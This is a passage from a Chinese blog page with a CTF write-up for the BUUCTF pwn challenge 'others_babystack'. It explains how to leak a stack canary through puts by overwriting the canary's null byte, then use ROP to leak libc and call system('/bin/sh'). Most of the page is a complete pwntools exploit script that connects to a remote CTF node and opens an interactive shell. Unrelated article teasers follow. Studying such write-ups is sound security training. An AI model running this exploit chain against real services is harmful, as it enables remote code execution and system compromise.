others_babystack
一道泄露canary+rop常规的题。
这道题让我学习到了,原来canary的最后一位是\x00,又因为是小端存储,所以在内存中我位置是在开头的。
来,下载文件检查一下保护。
开启了canary和nx保护,ida看一眼伪c代码。
一个菜单类型的题,大概就是1是存储数据,2是输出数据,3是退出。puts函数输出是遇到\x00才停止输出,那么我们如果能够把canary的截断符覆盖,再输出,就会连canary输出来了,成功泄露了canary。接下来就是rop的常规操作了。这里我还犹豫泄露libc版本的时候需要返回跳到main函数,需不需要再泄露一次canary,后来发现canary的值没有变,这样我们就不用再费事了。贴一下exp啦!
1 from pwn import *
2 import time
3
4 #p = process('./babystack')
5 p = remote('node3.buuoj.cn',27237)
6 elf = ELF('./babystack')
7 context.log_level = 'debug'
8
9 p.sendlineafter('> ','1')
10 p.sendline('a'*0x88)
11 p.sendlineafter('> ','2')
12 p.recvuntil('aaaa\n')
13 canary = u64(p.recv(7).rjust(8,'\x00'))
14 print 'canary-->' + hex(canary)
15 #leak canary
16
17 pop_rdi = 0x0400a93
18 puts_plt = elf.plt['puts']
19 puts_got = elf.got['puts']
20 main_addr = 0x0400908
21 p.sendlineafter('> ','1')
22 payload = 'a'*0x88 + p64(canary) + 'bbbbbbbb' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
23 p.sendline(payload)
24 p.recv()
25 p.sendlineafter('> ','3')
26 puts_addr = u64(p.recv(6).ljust(8,'\x00'))
27 print 'puts_addr-->' + hex(puts_addr)
28 #leak libc
29
30 sleep(1)
31 base_addr = puts_addr - 0x06f690
32 system_addr= base_addr + 0x045390
33 binsh_addr = base_addr + 0x18cd57
34 p.sendline('1')
35 payload = 'a'*0x88 + p64(canary) + 'bbbbbbbb' + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
36 p.sendline(payload)
37 sleep(1)
38 p.sendlineafter('> ','3')
39 p.interactive()
40 p.close()
41 #getshell
others_babystack的更多相关文章
- [BUUCTF]PWN——others_babystack
others_babystack 附件 步骤: 例行检查,64位程序,开了挺多保护 本地试运行一下程序 64位ida载入,看main函数 1是read函数,存在栈溢出:2是puts函数,3退出 利用思 ...
随机推荐
- [gym102538H]Horrible Cycles
将右侧$n$个点逆序排列,并将左侧的第$i$个点插入到右侧的$a_{i}$之前(左侧的点顺序任意) 换言之,一个左侧的点恰与(排列中)其之后所有右侧的点有边 对于一个简单环,仅保留(排列中)前$i$个 ...
- [atARC062F]Painting Graphs with AtCoDeer
求出点双后缩点,对于点双之间,显然不存在简单环,即每一个简单环一定在一个点双内部,换言之即每一个点双可以独立的考虑,然后将结果相乘 (对于点双之间的边任意染色,即若有$s$条边,还会有$k^{s}$的 ...
- [atAGC048F]01 Record
先将这个序列翻转,贪心找到最长的'101010--'的形式的子序列并删除,重复此过程并记这些字符串长度依次为$l_{1},l_{2},...,l_{n}$,若最终还有字符剩余则一定无解 假设$S$中元 ...
- [loj3313]序列
定义$C_{i}$表示令$i,i+1,i+2,...$的位置减1的操作,定义$I_{i}$表示令$i,i+2,i+4,...$的位置减1的操作 结论1:一定存在一种最优解使得$\forall i$不同 ...
- [bzoj1005]明明的烦恼
根据purfer序列的原理,每一个purfer序列都一一对应了一棵树,每一个点在purfer序列中出现的次数就是它的度数,那么直接用组合数去计算即可,注意要加高精度 1 #include<cst ...
- 从零开始学Kotlin第四课
面向对象: //妹子 性格 声音 class Girl(var chactor:String,var voice:String) fun main(args: Array<String>) ...
- Codeforces 1413F - Roads and Ramen(树的直径+找性质)
Codeforces 题目传送门 & 洛谷题目传送门 其实是一道还算一般的题罢--大概是最近刷长链剖分,被某道长链剖分与直径结合的题爆踩之后就点开了这题. 本题的难点就在于看出一个性质:最长路 ...
- clickhouse使用的一点总结
clickhouse据说是用在大数据量的olap场景列式存储数据库,也有幸能够用到它在实际场景中落地.本篇就来说说简单的使用心得吧. 1. 整体说明 架构啥的,就不多说了,列式存储.大数据量.高性能. ...
- 【转】群体研究套路:开心果denovo+重测序+转录组+群体进化+选择位点
转自公众号Eric生信小班.学习群体遗传套路 中科院昆明动物园吴东东研究团队联合国外研究团队2019年在Genome Biology发表题为Whole genomes and transcriptom ...
- ss 显示socket状态
ss ===show socket用于显示socket状态 所有的TCP sockets 所有的UDP sockets 所有ssh/ftp/ttp/https持久连接 所有连接到Xserver的本地进 ...